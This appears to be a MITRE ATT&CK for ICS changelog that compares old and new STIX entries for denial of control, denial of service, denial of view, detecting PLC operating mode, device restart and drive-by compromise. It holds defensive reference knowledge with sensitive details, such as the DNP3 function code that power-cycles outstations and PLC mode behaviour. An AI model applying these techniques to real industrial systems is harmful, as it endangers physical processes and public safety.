| description | Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. | Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. In the 2017 Dallas Siren incident operators were unable to disable the false alarms from the Office of Emergency Management headquarters. (Citation: Mark Loveless April 2017) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T813 | https://attack.mitre.org/techniques/T0813 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Mark Loveless April 2017', 'description': 'Mark Loveless 2017, April 11 THE DALLAS COUNTY SIREN HACK Retrieved. 2020/11/06 ', 'url': 'https://duo.com/decipher/the-dallas-county-siren-hack'} |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may perform Denial-of-Service (DoS) attacks to d | t | 1 | Adversaries may perform Denial-of-Service (DoS) attacks to d |
| > | isrupt expected device functionality. Examples of DoS attack | > | isrupt expected device functionality. Examples of DoS attack | ||
| > | s include overwhelming the target device with a high volume | > | s include overwhelming the target device with a high volume | ||
| > | of requests in a short time period and sending the target de | > | of requests in a short time period and sending the target de | ||
| > | vice a request it does not know how to handle. Disrupting de | > | vice a request it does not know how to handle. Disrupting de | ||
| > | vice state may temporarily render it unresponsive, possibly | > | vice state may temporarily render it unresponsive, possibly | ||
| > | lasting until a reboot can occur. When placed in this state, | > | lasting until a reboot can occur. When placed in this state, | ||
| > | devices may be unable to send and receive requests, and may | > | devices may be unable to send and receive requests, and may | ||
| > | not perform expected response functions in reaction to othe | > | not perform expected response functions in reaction to othe | ||
| > | r events in the environment. Some ICS devices are particula | > | r events in the environment. Some ICS devices are particula | ||
| > | rly sensitive to DoS events, and may become unresponsive in | > | rly sensitive to DoS events, and may become unresponsive in | ||
| > | reaction to even a simple ping sweep. Adversaries may also a | > | reaction to even a simple ping sweep. Adversaries may also a | ||
| > | ttempt to execute a Permanent Denial-of-Service (PDoS) again | > | ttempt to execute a Permanent Denial-of-Service (PDoS) again | ||
| > | st certain devices, such as in the case of the BrickerBot ma | > | st certain devices, such as in the case of the BrickerBot ma | ||
| > | lware. (Citation: BrickerBot - ICS-CERT - Alert) Adversarie | > | lware. (Citation: ICS-CERT April 2017) Adversaries may expl | ||
| > | s may exploit a software vulnerability to cause a denial of | > | oit a software vulnerability to cause a denial of service by | ||
| > | service by taking advantage of a programming error in a prog | > | taking advantage of a programming error in a program, servi | ||
| > | ram, service, or within the operating system software or ker | > | ce, or within the operating system software or kernel itself | ||
| > | nel itself to execute adversary-controlled code. Vulnerabili | > | to execute adversary-controlled code. Vulnerabilities may e | ||
| > | ties may exist in software that can be used to cause a or d | > | xist in software that can be used to cause a T1023 or denial | ||
| > | enial of service condition. Adversaries may have prior know | > | of service condition. Adversaries may have prior knowledge | ||
| > | ledge about industrial protocols or control devices used in | > | about industrial protocols or control devices used in the e | ||
| > | the environment through <span class="smw-format list-format | > | nvironment through [Remote System Information Discovery](htt | ||
| > | "><span class="smw-row"><span class="smw-field"><span class= | > | ps://attack.mitre.org/techniques/T0888). There are examples | ||
| > | "smw-value">Control Device Identification</span></span></spa | > | of adversaries remotely causing a [Device Restart/Shutdown]( | ||
| > | n></span>. There are examples of adversaries remotely causin | > | https://attack.mitre.org/techniques/T0816) by exploiting a v | ||
| > | g a <span class="smw-format list-format "><span class="smw-r | > | ulnerability that induces uncontrolled resource consumption. | ||
| > | ow"><span class="smw-field"><span class="smw-value">Device R | > | (Citation: ICS-CERT August 2018) (Citation: Common Weakness | ||
| > | estart/Shutdown</span></span></span></span> by exploiting a | > | Enumeration January 2019) (Citation: MITRE March 2018) In | ||
| > | vulnerability that induces uncontrolled resource consumption | > | the Maroochy attack, the adversary was able to shut an inves | ||
| > | . (Citation: Industroyer - ICS-CERT ADV) (Citation: Industro | > | tigator out of the network. (Citation: Marshall Abrams July | ||
| > | yer - CWE-400) (Citation: Industroyer - CVE-2015-5374) In t | > | 2008) | ||
| > | he Maroochy attack, the adversary was able to shut an invest | ||||
| > | igator out of the network. (Citation: Maroochy - MITRE - 200 | ||||
| > | 808) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.911000+00:00 |
| description | Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. (Citation: BrickerBot - ICS-CERT - Alert) Adversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a or denial of service condition. Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. (Citation: Industroyer - ICS-CERT ADV) (Citation: Industroyer - CWE-400) (Citation: Industroyer - CVE-2015-5374) In the Maroochy attack, the adversary was able to shut an investigator out of the network. (Citation: Maroochy - MITRE - 200808) | Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. (Citation: ICS-CERT April 2017) Adversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a T1023 or denial of service condition. Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through [Remote System Information Discovery](https://attack.mitre.org/techniques/T0888). There are examples of adversaries remotely causing a [Device Restart/Shutdown](https://attack.mitre.org/techniques/T0816) by exploiting a vulnerability that induces uncontrolled resource consumption. (Citation: ICS-CERT August 2018) (Citation: Common Weakness Enumeration January 2019) (Citation: MITRE March 2018) In the Maroochy attack, the adversary was able to shut an investigator out of the network. (Citation: Marshall Abrams July 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T814 | https://attack.mitre.org/techniques/T0814 |
| external_references[1]['source_name'] | BrickerBot - ICS-CERT - Alert | ICS-CERT April 2017 |
| external_references[1]['description'] | ICS-CERT. (2017, April 18). CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack. Retrieved October 24, 2019. | ICS-CERT 2017, April 18 CS Alert (ICS-ALERT-17-102-01A) BrickerBot Permanent Denial-of-Service Attack Retrieved. 2019/10/24 |
| external_references[2]['source_name'] | Maroochy - MITRE - 200808 | ICS-CERT August 2018 |
| external_references[2]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | ICS-CERT 2018, August 27 Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability Retrieved. 2019/03/14 |
| external_references[2]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01 |
| external_references[3]['source_name'] | Industroyer - ICS-CERT ADV | Common Weakness Enumeration January 2019 |
| external_references[3]['description'] | ICS-CERT. (2018, August 27). Advisory (ICSA-15-202-01) - Siemens SIPROTEC Denial-of-Service Vulnerability. Retrieved March 14, 2019. | Common Weakness Enumeration 2019, January 03 CWE-400: Uncontrolled Resource Consumption Retrieved. 2019/03/14 |
| external_references[3]['url'] | https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01 | http://cwe.mitre.org/data/definitions/400.html |
| external_references[4]['source_name'] | Industroyer - CWE-400 | MITRE March 2018 |
| external_references[4]['description'] | Common Weakness Enumeration. (2019, January 03). CWE-400: Uncontrolled Resource Consumption. Retrieved March 14, 2019. | MITRE 2018, March 22 CVE-2015-5374 Retrieved. 2019/03/14 |
| external_references[4]['url'] | http://cwe.mitre.org/data/definitions/400.html | https://nvd.nist.gov/vuln/detail/CVE-2015-5374 |
| external_references[5]['source_name'] | Industroyer - CVE-2015-5374 | Marshall Abrams July 2008 |
| external_references[5]['description'] | MITRE. (2018, March 22). CVE-2015-5374. Retrieved March 14, 2019. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[5]['url'] | https://nvd.nist.gov/vuln/detail/CVE-2015-5374 | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| x_mitre_data_sources[0] | Alarm history | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Data historian | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[3] | Packet capture | Operational Databases: Process History/Live Data |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Sequential Event Recorder | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may cause a denial of view in attempt to disrupt | t | 1 | Adversaries may cause a denial of view in attempt to disrupt |
| > | and prevent operator oversight on the status of an ICS envi | > | and prevent operator oversight on the status of an ICS envi | ||
| > | ronment. This may manifest itself as a temporary communicati | > | ronment. This may manifest itself as a temporary communicati | ||
| > | on failure between a device and its control source, where th | > | on failure between a device and its control source, where th | ||
| > | e interface recovers and becomes available once the interfer | > | e interface recovers and becomes available once the interfer | ||
| > | ence ceases. (Citation: Reference - Corero) (Citation: Refer | > | ence ceases. (Citation: Corero) (Citation: Michael J. Assant | ||
| > | ence - SANS - 201510) (Citation: Reference - RIoT) An adve | > | e and Robert M. Lee) (Citation: Tyson Macaulay) An adversa | ||
| > | rsary may attempt to deny operator visibility by preventing | > | ry may attempt to deny operator visibility by preventing the | ||
| > | them from receiving status and reporting messages. Denying t | > | m from receiving status and reporting messages. Denying this | ||
| > | his view may temporarily block and prevent operators from no | > | view may temporarily block and prevent operators from notic | ||
| > | ticing a change in state or anomalous behavior. The environm | > | ing a change in state or anomalous behavior. The environment | ||
| > | ent's data and processes may still be operational, but funct | > | 's data and processes may still be operational, but function | ||
| > | ioning in an unintended or adversarial manner. In the Maroo | > | ing in an unintended or adversarial manner. In the Maroochy | ||
| > | chy attack, the adversary was able to temporarily shut an in | > | attack, the adversary was able to temporarily shut an inves | ||
| > | vestigator out of the network, preventing them from viewing | > | tigator out of the network, preventing them from viewing the | ||
| > | the state of the system. | > | state of the system. | ||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 | |
| external_references | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.912000+00:00 |
| description | Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system. | Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T815 | https://attack.mitre.org/techniques/T0815 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
| x_mitre_platforms[0] | Windows | None |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather information about the current operati | t | 1 | Adversaries may gather information about a PLCs or controlle |
| > | ng state of a PLC. CPU operating modes are often controlled | > | rs current operating mode. Operating modes dictate what chan | ||
| > | by a key switch on the PLC. Example states may be run, prog, | > | ge or maintenance functions can be manipulated and are often | ||
| > | stop, remote, and invalid. Knowledge of these states may be | > | controlled by a key switch on the PLC (e.g., run, prog [pr | ||
| > | valuable to an adversary to determine if they are able to r | > | ogram], and remote). Knowledge of these states may be valuab | ||
| > | eprogram the PLC. | > | le to an adversary to determine if they are able to reprogra | ||
| > | m the PLC. Operating modes and the mechanisms by which they | ||||
| > | are selected often vary by vendor and product line. Some com | ||||
| > | monly implemented operating modes are described below: * | ||||
| > | Program - This mode must be enabled before changes can be ma | ||||
| > | de to a devices program. This allows program uploads and dow | ||||
| > | nloads between the device and an engineering workstation. Of | ||||
| > | ten the PLCs logic Is halted, and all outputs may be forced | ||||
| > | off. (Citation: N.A. October 2017) * Run - Execution of th | ||||
| > | e devices program occurs in this mode. Input and output (val | ||||
| > | ues, points, tags, elements, etc.) are monitored and used ac | ||||
| > | cording to the programs logic. [Program Upload](https://atta | ||||
| > | ck.mitre.org/techniques/T0845) and [Program Download](https: | ||||
| > | //attack.mitre.org/techniques/T0843) are disabled while in t | ||||
| > | his mode. (Citation: Omron) (Citation: Machine Information S | ||||
| > | ystems 2007) (Citation: N.A. October 2017) (Citation: PLCgu | ||||
| > | rus 2021) * Remote - Allows for remote changes to a PLCs | ||||
| > | operation mode. (Citation: PLCgurus 2021) * Stop - The P | ||||
| > | LC and program is stopped, while in this mode, outputs are f | ||||
| > | orced off. (Citation: Machine Information Systems 2007) * | ||||
| > | Reset - Conditions on the PLC are reset to their original s | ||||
| > | tates. Warm resets may retain some memory while cold resets | ||||
| > | will reset all I/O and data registers. (Citation: Machine In | ||||
| > | formation Systems 2007) * Test / Monitor mode - Similar t | ||||
| > | o run mode, I/O is processed, although this mode allows for | ||||
| > | monitoring, force set, resets, and more generally tuning or | ||||
| > | debugging of the system. Often monitor mode may be used as a | ||||
| > | trial for initialization. (Citation: Omron) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_detection | ||
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_is_subtechnique | False | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-24 11:48:05.134000+00:00 |
| description | Adversaries may gather information about the current operating state of a PLC. CPU operating modes are often controlled by a key switch on the PLC. Example states may be run, prog, stop, remote, and invalid. Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. | Adversaries may gather information about a PLCs or controllers current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: * Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off. (Citation: N.A. October 2017) * Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic. [Program Upload](https://attack.mitre.org/techniques/T0845) and [Program Download](https://attack.mitre.org/techniques/T0843) are disabled while in this mode. (Citation: Omron) (Citation: Machine Information Systems 2007) (Citation: N.A. October 2017) (Citation: PLCgurus 2021) * Remote - Allows for remote changes to a PLCs operation mode. (Citation: PLCgurus 2021) * Stop - The PLC and program is stopped, while in this mode, outputs are forced off. (Citation: Machine Information Systems 2007) * Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. (Citation: Machine Information Systems 2007) * Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization. (Citation: Omron) |
| external_references[0]['source_name'] | mitre-ics-attack | mitre-attack |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T868 | https://attack.mitre.org/techniques/T0868 |
| x_mitre_data_sources[0] | Network protocol analysis | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Machine Information Systems 2007', 'description': 'Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 ', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} | |
| external_references | {'source_name': 'N.A. October 2017', 'description': 'N.A. 2017, October What are the different operating modes in PLC? Retrieved. 2021/01/28 ', 'url': 'https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489'} | |
| external_references | {'source_name': 'Omron', 'description': 'Omron Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 PLC Different Operating Modes Retrieved. 2021/01/28 ', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'} | |
| external_references | {'source_name': 'PLCgurus 2021', 'description': 'PLCgurus 2021 PLC Basics Modes Of Operation Retrieved. 2021/01/28 ', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may forcibly restart or shutdown a device in the | t | 1 | Adversaries may forcibly restart or shutdown a device in an |
| > | ICS environment to disrupt and potentially cause adverse ef | > | ICS environment to disrupt and potentially negatively impact | ||
| > | fects on the physical processes it helps to control. Methods | > | physical processes. Methods of device restart and shutdown | ||
| > | of device restart and shutdown exist as built-in, standard | > | exist in some devices as built-in, standard functionalities. | ||
| > | functionalities. This can include interactive device web int | > | These functionalities can be executed using interactive dev | ||
| > | erfaces, CLIs, and network protocol commands, among others. | > | ice web interfaces, CLIs, and network protocol commands. U | ||
| > | Device restart or shutdown may also occur as a consequence o | > | nexpected restart or shutdown of control system devices may | ||
| > | f changing a device into an alternative mode of operation fo | > | prevent expected response functions happening during critica | ||
| > | r testing or firmware loading. Unexpected restart or shutdo | > | l states. A device restart can also be a sign of malicious | ||
| > | wn of control system devices may contribute to impact, by pr | > | device modifications, as many updates require a shutdown in | ||
| > | eventing expected response functions from activating and bei | > | order to take effect. | ||
| > | ng received in critical states. This can also be a sign of m | ||||
| > | alicious device modification, as many updates require a shut | ||||
| > | down in order to take affect. (Citation: Research - Research | ||||
| > | - Taxonomy Cyber Attacks on SCADA) For example, DNP3's fun | ||||
| > | ction code 0x0D can reset and reconfigure DNP3 outstations b | ||||
| > | y forcing them to perform a complete power cycle. (Citation: | ||||
| > | Research - Research - Taxonomy Cyber Attacks on SCADA) In | ||||
| > | the 2015 attack on the Ukranian power grid, the adversaries | ||||
| > | gained access to the control networks of three different ene | ||||
| > | rgy companies. The adversaries scheduled disconnects for the | ||||
| > | uniterruptable power supply (UPS) systems so that when powe | ||||
| > | r was disconnected from the substations, the devices would s | ||||
| > | hut down and service could not be recovered. (Citation: Ukra | ||||
| > | ine15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.917000+00:00 |
| description | Adversaries may forcibly restart or shutdown a device in the ICS environment to disrupt and potentially cause adverse effects on the physical processes it helps to control. Methods of device restart and shutdown exist as built-in, standard functionalities. This can include interactive device web interfaces, CLIs, and network protocol commands, among others. Device restart or shutdown may also occur as a consequence of changing a device into an alternative mode of operation for testing or firmware loading. Unexpected restart or shutdown of control system devices may contribute to impact, by preventing expected response functions from activating and being received in critical states. This can also be a sign of malicious device modification, as many updates require a shutdown in order to take affect. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) For example, DNP3's function code 0x0D can reset and reconfigure DNP3 outstations by forcing them to perform a complete power cycle. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries scheduled disconnects for the uniterruptable power supply (UPS) systems so that when power was disconnected from the substations, the devices would shut down and service could not be recovered. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands. Unexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states. A device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T816 | https://attack.mitre.org/techniques/T0816 |
| x_mitre_data_sources[0] | Sequential event recorder | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Alarm history | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network protocol analysis | Operational Databases: Device Alarm |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gain access to a system during a drive-by co | t | 1 | Adversaries may gain access to a system during a drive-by co |
| > | mpromise, when a user visits a website as part of a regular | > | mpromise, when a user visits a website as part of a regular | ||
| > | browsing session.With this technique, the user's web browser | > | browsing session.With this technique, the user's web browser | ||
| > | is targeted and exploited simply by visiting the compromise | > | is targeted and exploited simply by visiting the compromise | ||
| > | d website. The adversary may target a specific community, | > | d website. The adversary may target a specific community, | ||
| > | such as trusted third party suppliers or other industry spec | > | such as trusted third party suppliers or other industry spec | ||
| > | ific groups, which often visit the target website. This kind | > | ific groups, which often visit the target website. This kind | ||
| > | of targeted attack relies on a common interest, and is know | > | of targeted attack relies on a common interest, and is know | ||
| > | n as a strategic web compromise or watering hole attack. T | > | n as a strategic web compromise or watering hole attack. T | ||
| > | he National Cyber Awareness System (NCAS) has issued a Techn | > | he National Cyber Awareness System (NCAS) has issued a Techn | ||
| > | ical Alert (TA) regarding Russian government cyber activity | > | ical Alert (TA) regarding Russian government cyber activity | ||
| > | targeting critical infrastructure sectors. (Citation: Aler | > | targeting critical infrastructure sectors. (Citation: Cybers | ||
| > | t - CISA TA18-074A) Analysis by DHS and FBI has noted two di | > | ecurity & Infrastructure Security Agency March 2018) Analysi | ||
| > | stinct categories of victims in the Dragonfly campaign on th | > | s by DHS and FBI has noted two distinct categories of victim | ||
| > | e Western energy sector: staging and intended targets. The a | > | s in the Dragonfly campaign on the Western energy sector: st | ||
| > | dversary targeted the less secure networks of staging target | > | aging and intended targets. The adversary targeted the less | ||
| > | s, including trusted third-party suppliers and related perip | > | secure networks of staging targets, including trusted third- | ||
| > | heral organizations. Initial access to the intended targets | > | party suppliers and related peripheral organizations. Initia | ||
| > | used watering hole attacks to target process control, ICS, a | > | l access to the intended targets used watering hole attacks | ||
| > | nd critical infrastructure related trade publications and in | > | to target process control, ICS, and critical infrastructure | ||
| > | formational websites. | > | related trade publications and informational websites. | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.918000+00:00 |
